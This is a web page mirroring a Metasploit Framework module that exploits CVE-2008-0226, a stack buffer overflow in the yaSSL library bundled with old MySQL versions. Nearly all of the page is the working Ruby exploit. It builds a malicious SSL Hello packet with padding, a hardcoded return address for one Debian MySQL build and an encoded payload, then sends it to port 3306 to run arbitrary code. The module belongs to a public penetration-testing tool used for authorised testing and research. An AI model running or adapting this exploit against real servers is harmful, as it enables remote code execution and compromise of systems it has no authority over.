Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/mysql/mysql_yassl_hello.rb
19568 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
18
implementation bundled with MySQL <= 6.0. By sending a specially crafted
19
Hello packet, an attacker may be able to execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2008-0226' ],
25
[ 'OSVDB', '41195' ],
26
[ 'BID', '27140' ],
27
28
],
29
'Privileged' => false,
30
'Payload' => {
31
'Space' => 100,
32
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
33
},
34
'Platform' => 'linux',
35
'Targets' => [
36
[ 'MySQL 5.0.45-Debian_1ubuntu3.1-log', { 'Ret' => 0x085967fb } ],
37
],
38
'DefaultTarget' => 0,
39
'DisclosureDate' => '2008-01-04',
40
'Notes' => {
41
'Reliability' => UNKNOWN_RELIABILITY,
42
'Stability' => UNKNOWN_STABILITY,
43
'SideEffects' => UNKNOWN_SIDE_EFFECTS
44
}
45
)
46
)
47
48
register_options(
49
[
50
Opt::RPORT(3306)
51
]
52
)
53
end
54
55
def exploit
56
connect
57
58
sock.get_once
59
60
req_uno = [0x01000020].pack('V')
61
62
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
63
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
64
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
65
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
66
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
67
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3965)
68
req_dos << [target.ret].pack('V') + payload.encoded
69
req_dos << rand_text_alphanumeric(1024)
70
71
print_status("Trying target #{target.name}...")
72
73
sock.put(req_uno)
74
sock.put(req_dos)
75
76
handler
77
disconnect
78
end
79
end
80
81